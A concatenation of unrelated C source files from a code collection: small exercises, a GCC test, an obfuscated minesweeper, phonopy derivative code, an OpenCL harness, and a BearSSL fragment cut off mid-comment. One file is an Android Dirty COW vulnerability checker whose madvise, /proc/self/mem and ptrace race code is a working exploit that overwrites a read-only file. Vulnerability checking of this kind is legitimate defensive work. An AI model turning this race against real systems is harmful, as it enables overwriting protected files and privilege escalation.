free(nodes[i]); } } int main() { make_graph(); ford_fulkerson(); print_paths(); free_all(); }
the_stack_data/76207.c
float b[3], c, d; void main() { d = b[2]++; c = d++; b[1]+=7; print("0.000000 7.000000 1.000000"); print(b); print("0.000000"); print(c); print("1.000000"); print(d); }
the_stack_data/9446.c
#include <stdio.h> //——预处理指令 #include <math.h> void main() //———main()函数 { // int a,b=10,c; // c=a+b; // printf("a=%d,b=%d,c=%d\n",a,b,c); float x,y,z,s,dime; // 4 scanf("%f%f%f",&x,&y,&z); // 5 /*输入三角形的三个边长*/ //——注释 if(x+y>z && x+z>y && y+z>x) { s=(x+y+z)/2; // 6 ——注释 dime=sqrt(s*(s-x)*(s-y)*(s-z)); //——分号 printf("三角形面积为%f\n",dime); // 8 /*输出三角形的面积*/ } else printf("无法构成三角形"); getchar(); return; }
the_stack_data/23574881.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_fibonacci.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: aborboll <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/09/17 18:55:17 by aborboll #+# #+# */ /* Updated: 2019/09/18 14:38:25 by aborboll ### ########.fr */ /* */ /* ************************************************************************** */ int ft_fibonacci(int index) { if (index < 0) return (-1); if (index == 0) return (0); if (index == 1) return (1); return (ft_fibonacci(index - 1) + ft_fibonacci(index - 2)); }
the_stack_data/36073937.c
/* Test generation of maclhwu. on 405. */ /* Origin: Joseph Myers <[email protected]> */ /* { dg-do compile } */ /* { dg-require-effective-target ilp32 } */ /* { dg-options "-O2 -mcpu=405" } */ /* { dg-final { scan-assembler "maclhwu\\. " } } */ unsigned int f(unsigned int a, unsigned int b, unsigned int c) { a += (unsigned short)b * (unsigned short)c; if (!a) return 10; return a; }
the_stack_data/107952103.c
#include <stdio.h> #include <math.h> int main() { int i, j, n, sum = 0; printf("Enter the limit: \n"); scanf("%d", &n); for (i = 2; i <= n; i++) { if(i % 2 == 0){ sum = sum + i; } else{ sum = sum - i; } } printf("Sum: %d", sum + 1); }
the_stack_data/102847.c
#include/**/<time.h> #include <ncurses.h> # include <stdlib.h> /** */#define O()for(y-= !!\ y;y<H&& /*...Semi-Automatic.*/y< p/W+2;\ y++)for(x=p% W,x-=!!/*..MineSweeper...*/x;x<W&& x<p%W+2;x++) #define _(x,y)COLOR_##x,COLOR_##y /* click / (R)estart / (Q)uit */ #define Y(n)attrset(COLOR_PAIR(n)),mvprintw(/* IOCCC2019 or IOCCC2020 */ typedef int I;I*M,W,H,S,C,E,X,T,c,p,q,i,j,k;char G[]=" x",U[256];I F(I p){ I r=0,x,y=p/W,q;O()q=y*W+x,r+=M[q]^=p-q?(M[q]&16)<<8:0;return r;}I K(I p ,I f,I g){ I x=(g+ f/256)%16-(f+g/256)%16,y=p/W,c=0,n=g/4096 ,m=x==n?0:x==g /16%16-f/16%16-n?256:-1; if(m+1)O()if ((4368&M[n=y*W +x])==4112){ M[c=1,n]=(M[n]&~16)|m; } return c;}void D(){I p,k,o=0,n=C,m=0,q=0;if(LINES-1<H ||COLS/2<W)clear (),Y(4)LINES/2,COLS/2-16,"Make the ter\ minal bigger!");else{for (p=0;p<S;o+=k==3,Y(k)p/W+1,p%W*2,G),p++)G[1]="" "_*!..12345678"[k=E?256&M[p ]?n--,2:E-2||M[p]%2<1?M[p]&16?q=p,m++,3:4+F(p)%16: 1:3];k=T+time(0);T=o||T>=0||E-1?T:k;k=T<0?k:T;Y(7)0,0,"%03d%*s%03d",n>999?999:n,W* 2-6,"",k>999?999:k);Y(9)0,W-1,E>1?"X-(":E-1||o?":-)":"8-)");M[q]|=256*(n==m&&n); } refresh();}short B[]={_(RED,BLACK),_(WHITE,BLUE),_(GREEN,RED),_(MAGENTA,YELLOW),_( CYAN,RED)};I main(I A,char**V){MEVENT e;FILE*f;srand(time(0));initscr();for(start\ _color();X<12;X++){init_pair(X+1,B[X&&X<10?X-1:2],B[X?X<3?2:1:0]);}noecho();cbreak ();timeout(9);curs_set(0);keypad(stdscr,TRUE);for(mousemask(BUTTON1_CLICKED|BUTTO\ N1_RELEASED,0);;){S=A<2?f=0,W=COLS/2,H=LINES-1,C=W*H/5,0:fscanf(f=fopen(V[A-1],"r" ),"%d %d %d",&W,&H,&C)>3; ;S+=W*H;M=realloc(M,S*sizeof(I)*2);for(i=0 ;i<S;i++)!f?M[i]=i,i&&(k=M[j=rand()%i],M[j]=M[i],M[i]=k):fscanf(f, "%d",M+i);if(f)fclose(f);T=E=X=0;for(clear();D(),c=getch(),c-'r' &&(c-KEY_RESIZE||E);){ if(c=='q'){ return(endwin(),0); }if(c== KEY_MOUSE&&getmouse(&e)==OK&&e.x/2<W&&e.y<=H){if(!e.y&&(W-2<e.x&& e.x<W+2)){break;}p=e.x/2+e.y*W-W;if(p>=0){if(!E){for(i=0;i<S;i++)M[S+M [i]]=i,M[i]=16+(M[i]<C);C-=M[p]&1;M[p]=16;E=1;T=-time(0);}if(E<2)M[p]&=(M[p] &257)==1?T+=time(0),E=2,273:257;}}for(p=0;p<S&&E==1;M[p++]&=273){}for(i= (X+S-1)%S;E==1&&i!=X;X=(X+1)%S){if(!(M[p=M[X+S]]&272)){if(K(p,c=F(p) ,0)){goto N;} for(k=p/W-2,k=k<0?0:k;k<p/W+3&&k <H;k++)for(j= p%W-2,j =j<0?0:j;j<W&&j<p%W+3;)if (!(M[q= k*W +j++]&272)){ if(K(p, c,F (q))){ goto N; }F(q) ; }F(p); }}N:; } } } /*(c)Yusukse Endoh*/
the_stack_data/50137712.c
#include <stdarg.h> #include <stdio.h> int quiet = 0; void debug(const char* fmt, ...) { if (quiet) { return; } va_list vl; va_start(vl, fmt); vfprintf(stdout, fmt, vl); va_end(vl); return; }
the_stack_data/104827473.c
/* Copyright (C) 2015 Atsushi Togo */ /* All rights reserved. */ /* This file is part of phonopy. */ /* Redistribution and use in source and binary forms, with or without */ /* modification, are permitted provided that the following conditions */ /* are met: */ /* * Redistributions of source code must retain the above copyright */ /* notice, this list of conditions and the following disclaimer. */ /* * Redistributions in binary form must reproduce the above copyright */ /* notice, this list of conditions and the following disclaimer in */ /* the documentation and/or other materials provided with the */ /* distribution. */ /* * Neither the name of the phonopy project nor the names of its */ /* contributors may be used to endorse or promote products derived */ /* from this software without specific prior written permission. */ /* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS */ /* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT */ /* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS */ /* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE */ /* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, */ /* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, */ /* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; */ /* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER */ /* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT */ /* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN */ /* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE */ /* POSSIBILITY OF SUCH DAMAGE. */ #include <math.h> #include <stdlib.h> #define PI 3.14159265358979323846 static void get_derivative_nac(double *ddnac, double *dnac, const int num_patom, const double *lattice, const double *mass, const double *q, const double *born, const double *dielectric, const double *q_direction, const double factor); static double get_A(const int atom_i, const int cart_i, const double q[3], const double *born); static double get_C(const double q[3], const double *dielectric); static double get_dA(const int atom_i, const int cart_i, const int cart_j, const double *born); static double get_dC(const int cart_i, const int cart_j, const int cart_k, const double q[3], const double *dielectric); void get_derivative_dynmat_at_q(double *derivative_dynmat, const int num_patom, const int num_satom, const double *fc, const double *q, const double *lattice, /* column vector */ const double *r, const int *multi, const double *mass, const int *s2p_map, const int *p2s_map, const double nac_factor, const double *born, const double *dielectric, const double *q_direction) { int i, j, k, l, m, n, adrs, adrsT, is_nac; double coef[3], real_coef[3], imag_coef[3]; double c, s, phase, mass_sqrt, fc_elem, factor, real_phase, imag_phase; double ddm_real[3][3][3], ddm_imag[3][3][3]; double *ddnac, *dnac; if (born) { is_nac = 1; if (q_direction) { if (fabs(q_direction[0]) < 1e-5 && fabs(q_direction[1]) < 1e-5 && fabs(q_direction[2]) < 1e-5) { is_nac = 0; } } else { if (fabs(q[0]) < 1e-5 && fabs(q[1]) < 1e-5 && fabs(q[2]) < 1e-5) { is_nac = 0; } } } else { is_nac = 0; } if (is_nac) { ddnac = (double*) malloc(sizeof(double) * num_patom * num_patom * 27); dnac = (double*) malloc(sizeof(double) * num_patom * num_patom * 9); factor = nac_factor * num_patom / num_satom; get_derivative_nac(ddnac, dnac, num_patom, lattice, mass, q, born, dielectric, q_direction, factor); } for (i = 0; i < num_patom; i++) { for (j = 0; j < num_patom; j++) { mass_sqrt = sqrt(mass[i] * mass[j]); for (k = 0; k < 3; k++) { for (l = 0; l < 3; l++) { for (m = 0; m < 3; m++) { ddm_real[m][k][l] = 0; ddm_imag[m][k][l] = 0; } } } for (k = 0; k < num_satom; k++) { /* Lattice points of right index of fc */ if (s2p_map[k] != p2s_map[j]) { continue; } real_phase = 0; imag_phase = 0; for (l = 0; l < 3; l++) { real_coef[l] = 0; imag_coef[l] = 0; } for (l = 0; l < multi[k * num_patom + i]; l++) { phase = 0; for (m = 0; m < 3; m++) { phase += q[m] * r[k * num_patom * 81 + i * 81 + l * 3 + m]; } s = sin(phase * 2 * PI); c = cos(phase * 2 * PI); real_phase += c; imag_phase += s; for (m = 0; m < 3; m++) { coef[m] = 0; for (n = 0; n < 3; n++) { coef[m] += 2 * PI * lattice[m * 3 + n] * r[k * num_patom * 81 + i * 81 + l * 3 + n]; } } for (m =0; m < 3; m++) { real_coef[m] -= coef[m] * s; imag_coef[m] += coef[m] * c; } } real_phase /= multi[k * num_patom + i]; imag_phase /= multi[k * num_patom + i]; for (l = 0; l < 3; l++) { real_coef[l] /= multi[k * num_patom + i]; imag_coef[l] /= multi[k * num_patom + i]; } for (l = 0; l < 3; l++) { for (m = 0; m < 3; m++) { fc_elem = fc[p2s_map[i] * num_satom * 9 + k * 9 + l * 3 + m] / mass_sqrt; if (is_nac) { fc_elem += dnac[i * 9 * num_patom + j * 9 + l * 3 + m]; } for (n = 0; n < 3; n++) { ddm_real[n][l][m] += fc_elem * real_coef[n]; ddm_imag[n][l][m] += fc_elem * imag_coef[n]; if (is_nac) { ddm_real[n][l][m] += ddnac[n * num_patom * num_patom * 9 + i * 9 * num_patom + j * 9 + l * 3 + m] * real_phase; ddm_imag[n][l][m] += ddnac[n * num_patom * num_patom * 9 + i * 9 * num_patom + j * 9 + l * 3 + m] * imag_phase; } } } } } for (k = 0; k < 3; k++) { for (l = 0; l < 3; l++) { for (m = 0; m < 3; m++) { adrs = (k * num_patom * num_patom * 18 + (i * 3 + l) * num_patom * 6 + j * 6 + m * 2); derivative_dynmat[adrs] += ddm_real[k][l][m]; derivative_dynmat[adrs + 1] += ddm_imag[k][l][m]; } } } } } /* Symmetrize to be a Hermitian matrix */ for (i = 0; i < 3; i++) { for (j = i; j < num_patom * 3; j++) { for (k = 0; k < num_patom * 3; k++) { adrs = i * num_patom * num_patom * 18 + j * num_patom * 6 + k * 2; adrsT = i * num_patom * num_patom * 18 + k * num_patom * 6 + j * 2; derivative_dynmat[adrs] += derivative_dynmat[adrsT]; derivative_dynmat[adrs] /= 2; derivative_dynmat[adrs + 1] -= derivative_dynmat[adrsT+ 1]; derivative_dynmat[adrs + 1] /= 2; derivative_dynmat[adrsT] = derivative_dynmat[adrs]; derivative_dynmat[adrsT + 1] = -derivative_dynmat[adrs + 1]; } } } if (is_nac) { free(ddnac); free(dnac); } } /* D_nac = a * AB/C */ /* dD_nac = a * D_nac * (A'/A + B'/B - C'/C) */ static void get_derivative_nac(double *ddnac, double *dnac, const int num_patom, const double *lattice, const double *mass, const double *q, const double *born, const double *dielectric, const double *q_direction, const double factor) { int i, j, k, l, m; double a, b, c, da, db, dc, volume, mass_sqrt; double q_cart[3], rec_lat[9]; volume = lattice[0] * (lattice[4] * lattice[8] - lattice[5] * lattice[7]) + lattice[1] * (lattice[5] * lattice[6] - lattice[3] * lattice[8]) + lattice[2] * (lattice[3] * lattice[7] - lattice[4] * lattice[6]); rec_lat[0] = (lattice[4] * lattice[8] - lattice[5] * lattice[7]) / volume; rec_lat[1] = (lattice[5] * lattice[6] - lattice[3] * lattice[8]) / volume; rec_lat[2] = (lattice[3] * lattice[7] - lattice[4] * lattice[6]) / volume; rec_lat[3] = (lattice[7] * lattice[2] - lattice[8] * lattice[1]) / volume; rec_lat[4] = (lattice[8] * lattice[0] - lattice[6] * lattice[2]) / volume; rec_lat[5] = (lattice[6] * lattice[1] - lattice[7] * lattice[0]) / volume; rec_lat[6] = (lattice[1] * lattice[5] - lattice[2] * lattice[4]) / volume; rec_lat[7] = (lattice[2] * lattice[3] - lattice[0] * lattice[5]) / volume; rec_lat[8] = (lattice[0] * lattice[4] - lattice[1] * lattice[3]) / volume; for (i = 0; i < 3; i++) { q_cart[i] = 0; for (j = 0; j < 3; j++) { if (q_direction) { q_cart[i] += rec_lat[i * 3 + j] * q_direction[j]; } else { q_cart[i] += rec_lat[i * 3 + j] * q[j]; } } } c = get_C(q_cart, dielectric); for (i = 0; i < num_patom; i++) { /* atom_i */ for (j = 0; j < num_patom; j++) { /* atom_j */ mass_sqrt = sqrt(mass[i] * mass[j]); for (k = 0; k < 3; k++) { /* derivative direction */ for (l = 0; l < 3; l++) { /* alpha */ a = get_A(i, l, q_cart, born); da = get_dA(i, l, k, born); for (m = 0; m < 3; m++) { /* beta */ b = get_A(j, m, q_cart, born); db = get_dA(j, m, k, born); dc = get_dC(l, m, k, q_cart, dielectric); ddnac[k * num_patom * num_patom * 9 + i * 9 * num_patom + j * 9 + l * 3 + m] = (da * b + db * a - a * b * dc / c) / (c * mass_sqrt) * factor; if (k == 0) { dnac[i * 9 * num_patom + j * 9 + l * 3 + m] = a * b / (c * mass_sqrt) * factor; } } } } } } } static double get_A(const int atom_i, const int cart_i, const double q[3], const double *born) { int i; double sum; sum = 0; for (i = 0; i < 3; i++) { sum += q[i] * born[atom_i * 9 + i * 3 + cart_i]; } return sum; } static double get_C(const double q[3], const double *dielectric) { int i, j; double sum; sum = 0; for (i = 0; i < 3; i++) { for (j = 0; j < 3; j++) { sum += q[i] * dielectric[i * 3 + j] * q[j]; } } return sum; } static double get_dA(const int atom_i, const int cart_i, const int cart_j, const double *born) { return born[atom_i * 9 + cart_j * 3 + cart_i]; } static double get_dC(const int cart_i, const int cart_j, const int cart_k, const double q[3], const double *dielectric) { if (cart_k == 0) { return (2 * q[0] * dielectric[0] + q[1] * (dielectric[1] + dielectric[3]) + q[2] * (dielectric[2] + dielectric[6])); } if (cart_k == 1) { return (2 * q[1] * dielectric[4] + q[2] * (dielectric[5] + dielectric[7]) + q[0] * (dielectric[1] + dielectric[3])); } if (cart_k == 2) { return (2 * q[2] * dielectric[8] + q[0] * (dielectric[2] + dielectric[6]) + q[1] * (dielectric[5] + dielectric[7])); } return 0; }
the_stack_data/90763997.c
#include <err.h> #include <errno.h> #include <assert.h> #include <dlfcn.h> #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <limits.h> #include <pthread.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/ptrace.h> /* global variables and macros */ #define VULNERABLE 7 #define NOT_VULNERABLE 22 #define ERROR -1 #define OK 0 #define LOOP 0x1000000 #define TIMEOUT 1000 pid_t pid; struct mem_arg { void *offset; void *patch; off_t patch_size; const char *fname; volatile int stop; volatile int success; }; static void *checkThread(void *arg) { struct mem_arg *mem_arg; mem_arg = (struct mem_arg *)arg; struct stat st; int i; char *newdata = malloc(mem_arg->patch_size); for (i = 0; i < TIMEOUT && !mem_arg->stop; i++) { int f = open(mem_arg->fname, O_RDONLY); if (f == -1) break; if (fstat(f, &st) == -1) { close(f); break; } read(f, newdata, mem_arg->patch_size); close(f); int memcmpret = memcmp(newdata, mem_arg->patch, mem_arg->patch_size); if (memcmpret == 0) { mem_arg->stop = 1; mem_arg->success = 1; goto cleanup; } usleep(100 * 1000); } cleanup: if (newdata) free(newdata); mem_arg->stop = 1; return 0; } static void *madviseThread(void *arg) { struct mem_arg *mem_arg; size_t size; void *addr; int i, c = 0; mem_arg = (struct mem_arg *)arg; size = mem_arg->patch_size; addr = (void *)(mem_arg->offset); for (i = 0; i < LOOP && !mem_arg->stop; i++) c += madvise(addr, size, MADV_DONTNEED); mem_arg->stop = 1; return 0; } static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n) { const unsigned char *s; unsigned long value; unsigned char *d; d = dest; s = src; while (n >= sizeof(long)) { memcpy(&value, s, sizeof(value)); if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) { warn("ptrace(PTRACE_POKETEXT)"); return ERROR; } n -= sizeof(long); d += sizeof(long); s += sizeof(long); } if (n > 0) { d -= sizeof(long) - n; errno = 0; value = ptrace(PTRACE_PEEKTEXT, pid, d, NULL); if (value == -1 && errno != 0) { warn("ptrace(PTRACE_PEEKTEXT)"); return ERROR; } memcpy((unsigned char *)&value + sizeof(value) - n, s, n); if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) { warn("ptrace(PTRACE_POKETEXT)"); return ERROR; } } return 0; } static void *ptraceThread(void *arg) { struct mem_arg *mem_arg; mem_arg = (struct mem_arg *)arg; int i, c; for (i = 0; i < LOOP && !mem_arg->stop; i++) c = ptrace_memcpy(pid, mem_arg->offset, mem_arg->patch, mem_arg->patch_size); mem_arg->stop = 1; return NULL; } int canwritetoselfmem(void *arg) { struct mem_arg *mem_arg; mem_arg = (struct mem_arg *)arg; int fd = open("/proc/self/mem", O_RDWR); int returnval = -1; lseek(fd, (off_t)mem_arg->offset, SEEK_SET); if (write(fd, mem_arg->patch, mem_arg->patch_size) == mem_arg->patch_size) returnval = 0; close(fd); return returnval; } static void *procselfmemThread(void *arg) { struct mem_arg *mem_arg; int fd, i, c = 0; mem_arg = (struct mem_arg *)arg; fd = open("/proc/self/mem", O_RDWR); for (i = 0; i < LOOP && !mem_arg->stop; i++) { lseek(fd, (off_t)mem_arg->offset, SEEK_SET); c += write(fd, mem_arg->patch, mem_arg->patch_size); } close(fd); mem_arg->stop = 1; return NULL; } static void exploit(struct mem_arg *mem_arg) { pthread_t pth1, pth2, pth3; mem_arg->stop = 0; mem_arg->success = 0; if (canwritetoselfmem(mem_arg) == -1) { pid = fork(); if (pid) { pthread_create(&pth3, NULL, checkThread, mem_arg); waitpid(pid, NULL, 0); ptraceThread((void *)mem_arg); pthread_join(pth3, NULL); } else { pthread_create(&pth1, NULL, madviseThread, mem_arg); ptrace(PTRACE_TRACEME); kill(getpid(), SIGSTOP); pthread_join(pth1, NULL); } } else { pthread_create(&pth3, NULL, checkThread, mem_arg); pthread_create(&pth1, NULL, madviseThread, mem_arg); pthread_create(&pth2, NULL, procselfmemThread, mem_arg); pthread_join(pth3, NULL); pthread_join(pth1, NULL); pthread_join(pth2, NULL); } } int check(int argc, char **argv) { int ret = 0; const char *fromfile = argv[1]; const char *tofile = argv[2]; struct mem_arg mem_arg; struct stat st; struct stat st2; int f = open(tofile, O_RDONLY); if (f == -1) { ret = ERROR; goto cleanup; } if (fstat(f, &st) == -1) { ret = ERROR; goto cleanup; } int f2 = open(fromfile, O_RDONLY); if (f2 == -1) { ret = ERROR; goto cleanup; } if (fstat(f2, &st2) == -1) { ret = ERROR; goto cleanup; } size_t size = st2.st_size; if (st2.st_size != st.st_size) { if (st2.st_size <= st.st_size) size = st.st_size; } mem_arg.patch = malloc(size); if (mem_arg.patch == NULL) { ret = ERROR; goto cleanup; } mem_arg.patch_size = size; memset(mem_arg.patch, 0, size); mem_arg.fname = argv[2]; read(f2, mem_arg.patch, size); close(f2); void *map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0); if (map == MAP_FAILED) { ret = ERROR; goto cleanup; } mem_arg.offset = map; exploit(&mem_arg); close(f); f = -1; if (mem_arg.success == 1) ret = VULNERABLE; else ret = NOT_VULNERABLE; cleanup: if (f > 0) close(f); if (mem_arg.patch) free(mem_arg.patch); return ret; } int main(int argc, char **argv) { char rm_cmd[] = "rm -rf /data/local/tmp/test_5195/"; char mkdir_cmd[] = "mkdir /data/local/tmp/test_5195/"; char create_from[] = "echo vulnerable_5195 > /data/local/tmp/test_5195/from.dat"; char create_to[] = "echo not_vulner_5195 > /data/local/tmp/test_5195/to.dat"; char chmod_to[] = "chmod 444 /data/local/tmp/test_5195/to.dat"; system(rm_cmd); system(mkdir_cmd); system(create_from); system(create_to); system(chmod_to); char from_file[] = "/data/local/tmp/test_5195/from.dat"; char to_file[] = "/data/local/tmp/test_5195/to.dat"; char *myargv[3] = {argv[0], from_file, to_file}; return check(3, myargv); }
the_stack_data/3331.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program source */ unsigned char *source_code; size_t source_length; /* Read program from 'tanpi_float8.cl' */ source_code = read_buffer("tanpi_float8.cl", &source_length); /* Create a program */ cl_program program; program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); /* Build program */ ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object */ cl_kernel kernel; kernel = clCreateKernel(program, "tanpi_float8", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_float8 *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_float8)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_float8){{2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0}}; /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_float8), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_float8), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_float8 *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_float8)); memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_float8)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_float8), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_float8), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_float8)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }
the_stack_data/153787.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ uint64_t ; typedef int uint32_t ; struct TYPE_3__ {int /*<<< orphan*/ num_rounds; int /*<<< orphan*/ skey; } ; typedef TYPE_1__ br_aes_ct64_ctrcbc_keys ; /* Variables and functions */ int /*<<< orphan*/ br_aes_ct64_bitslice_encrypt (int /*<<< orphan*/ ,int /*<<< orphan*/ *,int /*<<< orphan*/ *) ; int /*<<< orphan*/ br_aes_ct64_interleave_in (int /*<<< orphan*/ *,int /*<<< orphan*/ *,int*) ; int /*<<< orphan*/ br_aes_ct64_interleave_out (int*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ br_aes_ct64_ortho (int /*<<< orphan*/ *) ; int /*<<< orphan*/ br_aes_ct64_skey_expand (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int br_dec32be (unsigned char*) ; int br_dec32le (unsigned char*) ; int /*<<< orphan*/ br_enc32be (unsigned char*,int) ; int /*<<< orphan*/ br_enc32le (unsigned char*,int) ; int br_swap32 (int) ; int /*<<< orphan*/ memset (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int) ; void br_aes_ct64_ctrcbc_encrypt(const br_aes_ct64_ctrcbc_keys *ctx, void *ctr, void *cbcmac, void *data, size_t len) { /* * When encrypting, the CBC-MAC processing 